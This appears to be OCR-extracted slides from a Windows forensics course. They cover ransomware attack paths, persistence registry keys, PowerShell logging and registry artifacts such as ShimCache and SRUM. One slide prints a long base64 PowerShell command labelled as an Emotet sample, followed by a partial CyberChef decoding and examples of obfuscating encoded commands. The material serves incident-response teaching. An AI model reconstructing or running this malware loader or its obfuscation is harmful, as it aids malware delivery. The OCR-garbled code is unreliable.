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Typical Attack Path

LIFECYCLE OF ARANSOMWARE INCIDENT cert

The common attack paths of a human-operated ransomware incident based on examples CERT NZ has seen.
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The Windows Operating System

* Currently the most common for caseload,
with OSX / MacOS becoming more and more
frequent.

* Big, complex behemoth of an OS.
* Does a lot of things under the hood.
* Does a lot for compatibility and “experience”.
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Windows Forensics Core

* Most time spent in Windows forensics
understanding live artifacts if possible
(running processes, network connections,
etc.).

* |f volatile data is not available — spending a
lot of time digging into the operating system
itself (typically in the registry) and available

logs.
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Executing Code on Windows

® Sounds straightforward. Isn’t.
® Portable executables (.exe), DLLs (.dll)

® Execute directly on the command line or through other
binaries.

® Common paths to run malware as a .dll / library to decrease
detection rates.

® Executable scripting languages (Jscript, VBScript,
Powershell).

® Other stuff (HTA files, SCR files, etc.).
® Powershell.
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Credentials on Windows

® NTLM and Kerberos are primary mechanismes.

® SSO single signon credentials are cached by authentication
providers on the system.

® Leads to pass-the-hash/credential attacks.

® Stored locally in the SAM security Account Manager file

— HKLM\SAM
— HKLM\SYSTEM
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Windows Persistence

® Many ways to perform this but the most frequent areas are referred to
as “autoruns”.

®  Windows registry is the most common place to find autoruns:
— HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

— HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Once

— HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
— HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunO
nce
® Installing / modifying a Windows Service is also a popular
persistence mechanism.
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Process / Command-line Logging

* Windows doesn’t have default process or
command-line logging.

* Command-line logging may be configured locally
— AKA Event 4688
— AKA “Command line process auditing”

® Most often configured in:

— Endpoint Detection and Response (EDR) tools
— Microsoft’s SYSMON
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Powershell Logging

Since Windows 7 — primarily Powershell v5

Default logging (mostly) disabled, however, logging for
anything that the Antimalware Scan Interface (AMSI)
determines to be “suspicious”.

® Events Logged as a 4104 event — level “Warning”

Better logging in Powershell is configured through a Group
Policy Object (GPO)

— (Administrative Templates -> Windows Components -> Windows
PowerShell)

— Can configure module, script block and transcription logging
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Powershell Logging

Module Logging

— EID 4103

— Captures portions / snippets
— Does not reliably capture commands executed

Script Block Logging
— EID 4104

— Show all commands and / or source for any PowerShell run on the
system, user, and path to the script

® Transcription Logs

Keystroke / over-the-shoulder logging of a PowerShell session
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Powershell Logging

® Powershell Tricks...

— There are actually a lot of methods for obfuscating and executing
commands in PowerShell and we see them often in incident
response and forensics.

® All of these are the same:
— Fully spelled out:

® powershell.exe —-EncodedCommand
ZQBjAGgAbwAgACIARABVAHIAbwBOAGgAeQAIAA==

— Truncated with alternate capitalization:
® powershell.exe —eNco ZQBjAGgAbwAgACIAVWBpAHOAYQBYAGQAIgA=

— Using caret escape-character injection to break-up the string:
® powershell.exe —*e*C* ZQBjAGgAbwAgACIAVWBpAHQAYwWBOACIA
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CyberChef

At some point we have to
discuss CyberChef — wé’ll
start here and then
discuss further in network
forensics.

CyberChef:

— Can host locally or
access online -
https://gchqg.github.io/C
yberChef/

— Data swiss army knife

— We’re going to use for
encoded PS> commands
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https://gchq.github.io/CyberChef/

Emotet (malware) sample

POwershelL -windowstyle hidden -ENCOD
IABTAFYAIAAgADAAegBYACAAKABbAFQAeQBQAGUAXQA0ACIAewAyAHOAewAWAHOAewAOAHOAewAz
AHOAewAxAHOAIgAtAGYAIAANAGUAJwWASACcAcgBFAEMAJABVAHIAWQANACWAJwBzAFKAcwBOACCALA
AnAC4ASQBPACAAZABJACCALAANAEOAJWAPACAAIAAPACAAOWAEACAAIABZAGUAJAAgACAAVABAAH e

AGBAIAAgACEAIAAgAFSAVABZAHAAZQBAJACEAIgB7ADAAFQB7ADCAfQB7ADUAfQB7ADYAfQB7ADQAfQB7ADIAfQB7ADEAfQB7ADgAfQB7ADMAFQAIACOARgANAFMAWQBzAFQARQANACWAIWBUAEOAIWASACCASQBOACCALAANAEUAUEANACWAIWBWAE8BAIWASACCATEBIAFQALgBzZAGUAIWASACCA

UgBWAEKAQWBFACCALAANAEOALgANACWAIWBBAE4AYQBHACCAKQAPACAAOWAEACAAIABOAGIAZgGA1AHQAZWAZADOAKAANAEIAOQANACSAIWB5AHAAIWATrACgAJWASADAAIWArACcAcwANACKAKQA7ACQAVEBAAGAAbABYAGUAMAAIACQAQWBSAHUAZABrAGoAeAAgACSAIABbAGMAaABhAHIA
XQAOADYANAApACAAKWAEACQAUgA2AHIAMQBOAHUAeQA7ACQASWB5ADMACQAWAGUAOAAIACEAKAANAFIACQANACSAJWBKAHEAIWAPACSAIWB3AGBAIWArACcCANQANACKAOWAEACAAKAAEGACAARABPAHIAIAAgAHYAYQBSAGKAQQBIAGWAZQAGADAAWgEBAACKALEB2AGEADABIAEUAOGAGBACI
AQwBYAGUAQQBUAGAARQBEAGQASQBSAEUAYwWBEAFQAYABPAHIAWQAIACEAJABIAESATQBFACAAKWAEACEAKAAOACCAbgBEAHAAIWArACCASgBYAGIAJWAPACSAKAANAGUAJWArACcAdgBrADQAbgANACKAKWANAEQAIWArACCACAANACSAKAANAEMAIWArACCAYWB3AHIAXWAYAGEAIWAPACSAIw
BUAEQAJWArACcAcAANACKAIAAtAFIAZQBQAGWAQQBJAEUAIAAOACCAbgANACSAIWBEAHAAIWAPACWAWWBJAEgAYQBSAFOAOQAYACKAKQA7ACQAREBOADUAZWBNAGOACWBIACAAPQAgACEAMQAAADIALAAXADEANWASADIAMgASACWAMQAOADYALAAYADMAMQASADEANWA3ACWAMQA1ADE

ALAAXADQAOQASADEANgA2ACKAOWAKAFAAeQBVAHOAZWBIAGBAPQAOACEAIWBKADUAZgANACSAJwB5ADEAIWAPACSAJWBJACCAKWANAGMAIWAPADSAIAAOACAAIAB2AGEAUEBpAEEAQgBMAEUAIABUAHEAWQBTAEUAbwAGACAAKQAUAFYAYQBSAHUARQAGADOAIgBTAGUAYWBVAHIASQBEAFQ
AWQB UgBgAESAdABPAGM. IgAgADOAIAAOACEAIWBUAGWAIWArACCAcWAXACCAKQArACCAMEANACKAOWAKAEYATgA1AGCAZWBtAHMASAAgACSAPQAgACEAMQA4ADYALAAXADQAMQASADIAMEA4ACWAMQA4ADIALAAXADCANWASADEANWAXACWAMgAYADKALAAYADMANgA
SADIAMWASACWAMgAzADKALAAYADMAOQAsADIAMgA4ACWAMQA4ADEALAAXADEAMgAsADEANWAXACWAMgAYADKALAAYADMANAAsADIAMWASACWAMgAzADKALAAYADIAOAAPADSAJABIAHUAYQBGAGCAYgAWADOAKAAOACCASgBUACCAKWANAGBAIWAPACSAIWATAGCAIWArACCAYQAXACCAK
QA7ACQAQgBIADIAOAB1AGOAbwAgADOAIAAOACEAJWBBAGWAZQANACSAIWA3AGCAIWAPACSAIWBFADgAIWAPADSAJABIAHMAYwBIAF8AagBzADOAKAANAESAdgANACSAKAANAGAAYgANACsAJwBVAHYAXWANACKAKQA7ACQAUWBWAGSANQAXAHUAZQA9ACEAKAANAEMAIWArACCANWBAAGBAIWA
PACsAIWASAGCAIWArACcAbAANACKAOWAKAFMAYwWB1AHMAYgBrAGoAPQAKAEgATWBNAEUAKWAOACEAIWATACCAKWANAHQAIWArACgAJwBmMACCAKWANAEOACgBIAGUAdgANACsAJWBrACcAKQArACgAIWAOADUAJABMACCAKWANAEMAYWANACsAJwB3ACcAKQArACcAcgAnACSAKAANAF8AMgBo

ACcAKWANADUAJABMACCAKQApACAALQBYAEUACABSAEEAQWBFACAAIAA0AFSAQWBOAEEAUgBAADUAMWArAFsAQwWBOAEEAUgBAADEAMQA2ACSAWwWBDAGEAQQBSAFOAMQAWADIAKQAsAFsAQwWBOAEEAUgBAADKAMEAPACSAJABCAGIAMEA4AHUAbQBVACSAKAAOACCALEBIACCAKWANAHEAIwW
ApACsAJWBIACcAKQA7ACQARgBOADUAZWBNAGOAcWBIACAAKWAIACAAKAAXADgANQASADEANWASACWAMQASADAALAAXADEANAASADIAMEASACWAMQA1ADEALAAXADMAOQASADEANQA3ACWAMQA2ADQALAAYADMANQASADEANWA3ACWAMgAzADKALAAXADCAMQASADEAOAAZACWAME

AzADYALAAXADQAMOQASADEAMgA4ACWAMQAA4ADCALAAYADMANQASADEAMWAOACWAMQAYADgALAAXADUAOAASADEANWA3ACWAMQA3ADYALAAXADMAOQAPADsAJABOAGIAbQBzAGsAVgAYAFQAPQA0ACEAIWBDACCAKWANADCcAeABVACCAKQArACcAOQBNACCAKWANAGWAIWAPADSAJABo

AGIAbQBzAGSAVgAYAFQAPQAKAEgATWBNAEUAKWAOACEAIWAIACCAKWANAHQAIWArACgAJwBmMACCAKWANAEOACgBIAGUAdgANACsAJWBrACcAKQArACgAJWAOADUAJABMACCAKWANAEMAYWANACsAJwB3ACcAKQArACcAcgANACSAKAANAF8AMgBOACCAKWANADUAJABMACCAKQAPACAALQBYA
EUACABSAEEAQWBFACAAIAAOAFSAQWBOAEEAUgBAADUAMWArAFSAQWBOAEEAUgBAADEAMQA2ACsAWWBDAGEAQQBSAFOAMQAWADIAKQAsAFSAQwBOAEEAUgBAADKAMgApPACsAJABCAGIAMgA4AHUAbQBVACSAKAAOACCALEBJACCAKWANAGBAIWAPACsAIWBUAGYAIWAPADSAJABRADEAXWBS
ADAANQBfADOAKAANAFcAJWArACgAJWAOACCAKWANAHEAdgB5SACCAKQArACcAegA4ACCAKQA7ACQATWBK AK, AGA4AJWArACcAZQANACsAJwB3ACOAbwBIAGOAZQBjAHQAIWAPACAATEBIAHQALEBXAEUAQEBJAGWASQBFAE4AdAA7ACQARgBOADUAZWBNAGOACWBIAC
AAKWA9IACAAKAAXADgAMWASADEANQAOACWAMQA3ADMALAAXADIAOAASADEANWAIACWAMQA1ADEALAAYADMAOAAsADEANAAWACWAMQA4ADMALAAXADYAMgAsSADIAMgA4ACWAMQA3ADAALAAXADcAMWASADEANWASACWAMgAYADKAKQA7ACQAQQBUAGIAeQBOADEAeQA9ACEAIWBO
ACcAKwAOACCAdABOAHAAOgANACsAJwBAAFsAJWArACcAKABZACKAXQANACKAKwWAOACgAIWB3AFOAJWArACCAWWAOACCAKQAPACSAKAAOACCACWAPACCAKWANAFOAdwANACKAKQArACgAJWBKAGEAIWArACCALQANACKAKWANAGKAIWArACcAbgAnACsAJwBKAHUAIWArACgAIwBzACcAKWANAHQAC

gBpAGEAD, Cc/ gAJWArACcAdAANACKAKWANAGIAXQANACSAKAANAFsAKABZACKAXQANACsAJwB3ACc) WANACK gAJWBdACc KAANACKAKQArACgAKAANAHMAJWArACcAKQBAAHCAOQBJAGQATAANACSAJWBQAFOAWWANACSAIWAOAHMAJWArACCAKQ
BdAHCAJWArACcAQABOACCAKQAPACSAKAANAHQAIWArACcAdABWADOAXQANACKAKWAOACCAWWAOAHMAIJWArACcAKQBAACCAKQArACcAdwANACSAKAANAFOAIWArACCAWWAOAHMAKQBAACCAKQArACgAIwB3AGQAYQBWACC) by SAJWB UAcwBp. J:4 CAKWANRAGWA
LgBoACCcAKQArACcAdABIACCAKWAOACCAXQBbACEACWANACSAIWAPACCAKWANAFOAIWAPACSAIWB3ACCAKWAOACCAZAANACSAJwBhAHQAYQANACKAKWAOACCANABAAFSAKABzACCAKWANACKAXQB3AGEAIWAPACSAKAANAFCAZWBXACC) AnACk cAVgBdACc/ AJWAp

ACsAKAANACgAcWAPAFOAdwBAAGEAdABOAHAAIWArACCcACWABAFOAWWAOAHMAIJWArACcAKQBAACCAKWANAHCAIWArACCAXQANACKAKWANAFsAJWArACgAJwAOAHMAKQANACsAIwBAAHCAZABhAGCAIWArACcAcgBhACCAKQArACcAbgBpACCAKWANAHQAIWArACgAIWBIAGCAJWArACcAaQBhACCA
KQArACgAJwByAGUALgBoACcAKWANAHQAIWAPACsAIWBIAFOAIWArACgAIWBbACCAKWANACEACWAPACCAKQArACgAIwBdAHCAdwANACSAJwBWACOAYQANACsAJWBKAGOAIWArACcAaQBUAFOAWWAOAHMAKQANACsAJwBAAHCAdAANACKAKWAOACCAVEBAAFsAJWArACCAKABZACCAKWANACKAIWAD
ACsSAKAANAFOAdwBAACCAKWANAGEAIWAPACSAJWBOAHQAIWArACcACAANACSAKAANADOAJWArACcAXQBbACCAKQArACgAIwAOAHMAKQBAAHCAXQBbACCAKWANACEAcWANACsAJWAPAFOAdwB3AHCAJWArACcAdwANACsAJwAUAGBAdQBOACCAKWANAHMAJWArACCACAANACKAKwWAOACCAbwBrAC
cAKWANAGUAJWApPACsAIwBUAHYAJWArACcAaQANACsAKAANAHMAIWArACcAaQBVAGAAcWAUACCAKQArACgAIwBoAHQAYgANACsAJwBAACCAKQArACCAWWANACSAKAANACEAcwApAFOAdwANACsAJWB3AHAAIWArACCALQBpAGAAIWAPACSAKAANAGMADAB1ACCAKWANAGQAIWAPACSAKAANAGU

AcwBdAFsAKABzACKAJWArACcAXQB3AGEAVWANACsAJwBVACCAKWANAEOAJWAPACSAKAANAFOAJWArACcAWWAOACCAKWANAHMAKQBAAHCAIWApACSAKAANAEAAJWArACcAaABOAHQACAABAFOAIWAPACSAKAANAFSAKABZACKAJWArACCAXQB3AFOAWWAOACCAKWANAHMAKQANACKAKWAOACCAX
QB3AGOAbwANACsAJWBIAHMAIWAPACSAKAANAG8AIWArACcAdQBrAC4A ACk 8AJWBOACCAK IAXQBbACgAIWAPACKAKWAOACEAIWBzACKAIWArACCAXQB3AHCACAALACCAKQAPACSAIWBPAGAAIWArACCAYWANACSAJwBSACCAKWAOACCAdQBKAGUAIWArACcAcwBdACCAKWANAF
SAJWAPACSAKAANACEAcWApPAFOAJWArACcAd k cAVQBZACc: DMAMABSAFOAJWAPACsAKAANAFsAKABzZACCAKWANACKAXQB3ACCAKWANAEAAIWArACcAaAANACsAJwBOAHQACAA6AFOAWWANACKAKWAOACCAKAANACsAJwBzACKAXQB3ACCAKQArACgAJwBdAFsAJWArACCAKA
BzACKAJWAPACSAKAANAFOAJWArACcAdwBIACCAKQArACcAaQANACSAKAANAGCAIWArACcAbABhAHUAZWBOACCAKWANAHMAJWAPACSAKAAOACCALEBoACCAKWANAHQAIWATACCAYgBAAFsAKABZACCAKQAPACSAKAAOACCAKQBAACCAKQAPACSAKAANAHCACWANACSAIWBtAGEAbABSAHAAbwBOACC

AKWAnAGEAdABVACcAKQArACcAZQBzACcAKWAOACgAIWBAACCAKWANAFSAKABZACCAKQAPACSAKAAOACCAKQBAAHCAWQBAACCAKWANAFSAKABzACCAKWANACKAXQB3ACcAKWANAEAAaAANACsAJwBOAHQACABzZADOAXQBbACEAcWAPACCAKQAPACsAIWBAAHCAIWArACgAIWBdAFSAKAANACSAIWB
zACKAXQB3AGAAIWArACcAZWANACKAKWAOACCAbABSACCAKWANAGBAIWAPACSAKAANAGCcAaQBzAHQAIWArACcAaQANACKAKWAOACCAYWBzAC4AIWArACcAaAANACKAKWANAHQAIWArACgAIWBIAFOAIWArACCAWWANACSAJWAOACCAKWANAHMAKQBAAHCAIWAPACSAJwBhAGQAIWArACgAIWBAGK
AJWArACcAbgAnACKAKWANAGUACcgANACsAJwBdACCAKWAOACCAWWAOAHMAIWArACcAKQBAAHCAJWArACcAVWAZAGOAIWAPACsAIwBrACcAKWAOACgAIWBCACCAKWANAFOAWWAOAHMAIWAPACKAKWAOACgAIWAPACCAKWANAFOAdWANACKAKQApPACAAIgBYyAGUACABEAEWAQQBJAEUAIgAOACEA)
WBdACCcAKwWANAFsAJWArACgAJwAoAHMAKQBAACcAKWANAHCAIWAPACKALAAOAFsSAYQBYAHIAYQB5AFOAKAANACBAIWAPACWAKAANAHEAdWANACSAIWBIACCAKQAPAFSAMABAACKALEAIAHMAUABg, QBUACIAKAAKAEKAdg| gBjAHUAIAArACAAJABWAHgAbgBsAHIAZQAWACAAKWA
gACQASgBEAGEAZQBSAGQAEQApADsAJABHAGMAbwBSAHVAbABZADOAKAAoACcASwBmACcAKwAnAFSAJWApACsAKAAnADkAJwArACcAZQBOADEAJwApACkAOmeAGSAchIAGEAVwBoACAAKAAkAEEAOABpADMAawBIADEAIABpAGAAIAAkAEEAbgBlAH KAdAAXAHKAKQB7AHQACgB5AHSAJABPA
GQAYgAzAGgAZgAzACAAIgBKAESAYABXAGAATABPAEEAYABKAGYASQBMAGUAIgA0ACQAQQA4AGKAMWBrAGUAMQASACAAJABTAGMAAQBzAGIAawBqACKAOWAKAFoAaABjAGAAYQB1AHEAPQAOACEAIWBFAGSAJWArACcAawANnACKAKWAOACcAagAnACsAJWAOADCAdAANACKAKQA7AEKAZgAgACE

AKAAMACgAIWBHAGUAJAALAEKAJWArACcAdABIACCAKWANAGOAIWAPACAAIABTAGMAAQ! qACKALgAIAEWARQB! RwBUAGgAIgAgACOAZWBIACAANAATADEAOQASACKAIAB7ACQAewBBADEAYABJAGAAMWBLAEUAMQBIACAAKAAIAHSAMQBIAHSAMgBIAHSAMABIACIAIAAtAGYA
JwBhAHKAJWAsACCAVABVAEMAaABhACCALAANAHIAQQBYAHIAJWAPAC4ASQBUAHYAbwBrAGUAKAAPACAATAAgACAAKAAIAHSAMEBIAHSAMQBIAHSAMABIAHSAMWBIACIAIAAtAGYAIWAtACCALAANAGEAYWBOACCALAANAEYAbwBYAEUAIWASACCATWBIAGOAZQBJAHQAIWAPACAALQBWAHIAbwB
JAGUACWBzACAAewAgACQAewBGAE4AANQBEAECARWBLAGAAUWBOAHOAIAArADOAIAAOAFSAYgBSAHQAZQBAAFsAY gBAACQAewBfAHOAL |AeABVAHIAIAAWAHEAZABMACAAKQAgAHOAOWAZACQAREBOADUAZWBNAGOACWBIACAAKWAIACAAKAAYADIAOAAPADSAIAAKAGIAMABSA
GOAZQAgADOAIAAgAFSAdABSAHAAZQBAACgAIgB7ADEAfQB7ADAAfQAIACAALQBGACCAVEBIAHIAVAANACWAIWBDAG8AbgANACKAOWAEACAAIAAKAEIAMABSAGOARQABADOAIgBOAEBAYABCAGEAUWBEAEUANgAOAFMAYABUAFIASQBEAEAAZWAIACEAJAB7AGYAbgA1AGAAZWBNAGOAYABZAGEAFQ
ApACAAfAAgACAAKAAIAHSAMgBIAHSAMQBIAH IAIAATAGYAIA, KAbABIACCALAANAHUAdAALAGYAIWASACcAbwANACKAIAAKAHSAaABCAGAAbQBTAESAYABWADIAVABIADSAIAAOAFsAdwBAGKAYwBSAGEAcwBzAFOAKAAOACCAdwBpPACCAKWANAGAAIWApACsAKAANADMAMgBFACe
AKWANAFAAcgBVAGMAJWArACcAZQANACKAKWANAHMAJWArACcAcwAnACKAKQAUACIAYWBSAGAAZQBhAFQARQAIACEAJABTAGMAQBzAGIAawBqACKAOWAKAECAbAB3AGsAaQA2AGEAPQA0ACCASQANACSAIWBACC cAdABKACC gAdgA2ACCcAKQAPADSAYgBYAGUAYQBrADsAJA
BQAGYACABIAGWAaAAXADOAKAANAFYACWANACSAKAANAGWAYQBSACCAKWANAGMAIWApPACsAJwB1ACcAKQBIAHOAYwWBhAHQAYwBOAHSAfQBIACQARgAOADCcAaQBIAGYAMEAIACEAKAAT bg; SAJ KAZAANACKAKWANAHIAJAANACKA
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nto the CyberChef!

— 1 h: -
Recipe S Input i:f;: 9321 + O § =

11
From Base64 S TABTAFYATAAgADAAeEBYACAAKABDAF QAeQBQAGUAXQAOACTAeWAYAHOACWAWAHOACWABAHBACWAZ AHOARW

Alphebet AXAHOATgAtAGYATAANAGUAIWASACCACEBFAEMAJABVAHI AWQANACWAIWBZAFKACWBOACCALAANACAASQBP
A-Za-70-9+/= ¥ ACAAZABIACCALAANAEQAIWAPACAATAAPACAAOWAEACAATABZAGUAdAAZACAAVABAAHKAUWB1AGSATAAGAC
gATAAGAF SAVABZAHAAZQBAACEATgB7ADAATQB7ADCATQB7ADUATQB7ADYATQB7ADQATQB7ADIATQB7ADEA
fQB7ADEATQB7ADMATQA1ACOARZANAFMAWQBZAFQARQANACWAIWBUAE@AIWASACCASQBOAC CALAANAEUAUg

Remove non-alphabet chars ANACWAIWBWAESAIWASACCATZB1AFQALEBZAGUATWASACCAUEBWAEKAQWBFACCALAANAE@ALZANACWAIWEB
AE4AYQBHACCAKQAPACAAOWAEACAATABOAGTAZgATAHQAZWAZADPAKAANAE TAOQANAC SATWBSAHAATWAPAC

gAIWASADAATWAIAC CACWANACKAKQA7ACQAVEBAAGAADABYAGUAMAA9ACQAQWB SAHUAZABIrAGOACAAEACSA

Remove null bytes © 11 1ABbAGMARABhAHIAXQAOADYANAAPACAAKWAGACQAUEA2AHIAMQBOAHUACQA7ACQASWBSADMACQAWAGUAOA
A9ACEAKAANAF TACQANAC SATWBKAHEAIWAPACSATWB3AGSATWArACCANQANACKAOWAEACAAKAAZACAARABD

AHTIATAAgAHYAYQBSAGKAQQB1AGWAZQAGADAAWEBAACKAL gB2AGEAbABIAEUAOZAGACTAQWBYAGUAQQBUAG
AARQBZAGQASQBSAEUAYWBEAFQAYABPAHIAWQAIACEAIABIAESATQBFACAAKWAZACEAKAAOACCADEBEAHAA

JWArACCASEBYAGTATWAPACSAKAANAGUAIWAIAC CAdgBrADQAbgANACKAKWANAEQATWAPAC CACAANAC SAKA

ANAEMAJWArAC CAYWB3AHTIAXWAYAGEAIWAPACSAITWBUAEQATWArACCACAANACKATAATAF TAZQBQAGWAQQE
AEUATAAOACCAbgANACSAIWBEAHAA JWAPACWALWB JAEZAYQBSAFOAOQAYACKAKQA7ACQAREBOADUAZWBNAG
@ACWBIACAAPQAACZAMQAAADT AL AAXADZANWASADT AMEASACWAMQAGADYAL AAY ADMAMQAS ADEANWASACWA
MQA1ADEALAAXADQAOQASADEANEA2ACKAOWAKAFAAeQBVAHOAZWB1AGBAPQAOACEATWBKADUAZEANAC SATW
BSADEAJWAPACSAIWBJACCAKWANAGMAIWAPADSATAAOACAATAB 2AGEAUEBPAEEAQZBMAEUATABUAHEAWQBT

AEUAbWAgACAAKQAUAFYAYQBSAHUARQAGADOAT gBTAGUAYWBVAHIASQBEAFQAWQBWAGAAUEBZAE SAAABPAG
MAYABVAGWAIgAZADOATAACACEATWBUAGWAIWAIACCACWAXACCAKQAACCAMEANACKAOWAKAEYATEATAGCA

ZWBtAHMASAAGACSAPQAZACEAMQAAADYAL AAXADQAMQASADTAMEAAACWAMQAZADIAL AAXADCANWASADEANW
AXACWAMgAYADKALAAYADMANZASADTAMWASACWAMEAZADKAL AAYADMAOQASADI AMEAAACWAMQAAADEALAAX

start: 3495 time: 4ms

Output end: 3495  length: 395 [ |_D M e
length: 2] lines: 1

SV ezX ([Type]("{2}{e}{a}{3}{1}"-f 'e', 'rECtorY’,'syst','.10.dI",'M") ) ; set
Txyseo ( [Type]("{0}{7}{5}{6}{a}{2}{1}{8}{3}"-
F'SYSTE','TM',"'IN',"'ER',"'p0', 'NeT.se', 'RVICE','M."', 'ANaG')) ; $Nbfstg3=
("BO"+'yp"+('90"+'s"));$vxnlreo=$Cludkjx + [char](64) + $R6rituy;$Ky3qoes=
(('Rq'+'dx")+'wo'+'5"); ( Dir vaRiAble:0Zx).valuE::"CreAT E dIREC T OrY"($HOME
+ ((('nDp"+'3Irb")+("e"+'vkan")+'D'+'p'+('C'+"'cwr_2h")+'nD'+'p") -RePlAcE
('n"+'Dp"'),[cHaR]92));$FNSggmsH = (182,187,229,146,231,177,151,149,166); $Pyozgeo=
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Windows Registry Forensics
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Bl s
Registry Refresher

* Basically a filesystem into and of itself.

* Hierarchical database that primarily stores
information as a key->value pair.

* Core store for compatibility and ease-of-use /
preferences features in Windows, also used
by installed software.

e Registry can be obtained via disk capture OR
memory capture.
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Bl s
Registry Hierarchy

* HKEY_CURRENT_USER (HKCU)

— Configuration information for currently user (associated
with their profile)

* HKEY_USERS (HKU)
— Local profiles on the system.
* HKEY_ LOCAL MACHINE (HKLM)
— System-level configuration information

* HKEY_CURRENT_CONFIG

— Contains information about the hardware profile of the
system
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Bl s
Registry Key Forensic Features

* This section will be a review / survey of key

locations in registry that store forensically
interesting and important information.

* This typically involves when the subject of an
investigation takes actions to:
— Add registry keys (e.g., persistence).

— Modify registry keys (running an executable)
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R
SHIMCACHE

SHIMCACHE

®  Application Compatibility Database
®  WinxpP+

{

\SYSTEM\CurrentControlSet\Control\Session Manager\ AppCompatCache

®  Entry for every application executed:
— Full path information.
— Last modification time.
— File size.
— Execution flag.
°

Notes

Sequential (typically in order of execution)
Has a max # of entries (usually 1,024)
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USERASSIST

Windows Explorer UserAssist

®  Application Compatibility Database

®  Winxp+
— NTUSER.DAT\Software\Microsoft\Windows\Currentversion\Explorer\UserAssist\{GUID}\Count
= Tracks GUI executables, shortcuts execution

([

Notes

All values encoded

= Uses GUIDs
o

CEBFF5CD — Executable file
FAE57C4B — LNK / Shortcut

Good for seeing what happened in a user session.
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Bl
OpenSave MRU

OpenSave — User / Session Feature

®  Registry key

®  WinXxpP+

=~ NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDIg32\OpenSavePIDIM
RU

Tracks files that have been opened / saved through the Windows Explorer shell dialog box

usgn

Organized into 2 subkeys and the file extension subkeys

Entry includes:

File Name
= Full Path

MRU order (order in which file was opened/saved by user)

Notes

Good for seeing what happened in a GUI user session.

Not super helpful for malware investigations.
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SRUM

System Resource Usage Monitor (SRUM)

®  Records programs and network activity

®  Wing+ " DOYOU'REALLY NEED SYSMON

®  Entryincludes:

Timestamp
= EXE path
— SID

BytesRecieved / BytesSent
Notes

WHEN,YOU HAVE SRUM2 o

Can grab from disk at C:\Windows\System32\sru\SRUDB.dat

Writes once and hour and at shutdown.
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R
BAM!

Windows Explorer UserAssist
®  Background Activity Moderator (BAM)

®  Win10 1709+
— HKLM\SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}

®  Entryincludes:
= Last execution timestamp
= EXE path

® Notes

Only exists in recent Win10
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Recent Office Files

Recent Office Files

®  The Office apps trace recently executed / edited files

®  Office 2010+
= NTUSER.DAT\Software\Microsoft\Office\<Version>15
— NTUSER.DAT\Software\Microsoft\Officce\VERSION\UserMRU\LivelD_####\FileMRU

Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\

® Notes

Variety of values here

For RecentDocs — will need to do some decoding (hex)

Organized by file extension
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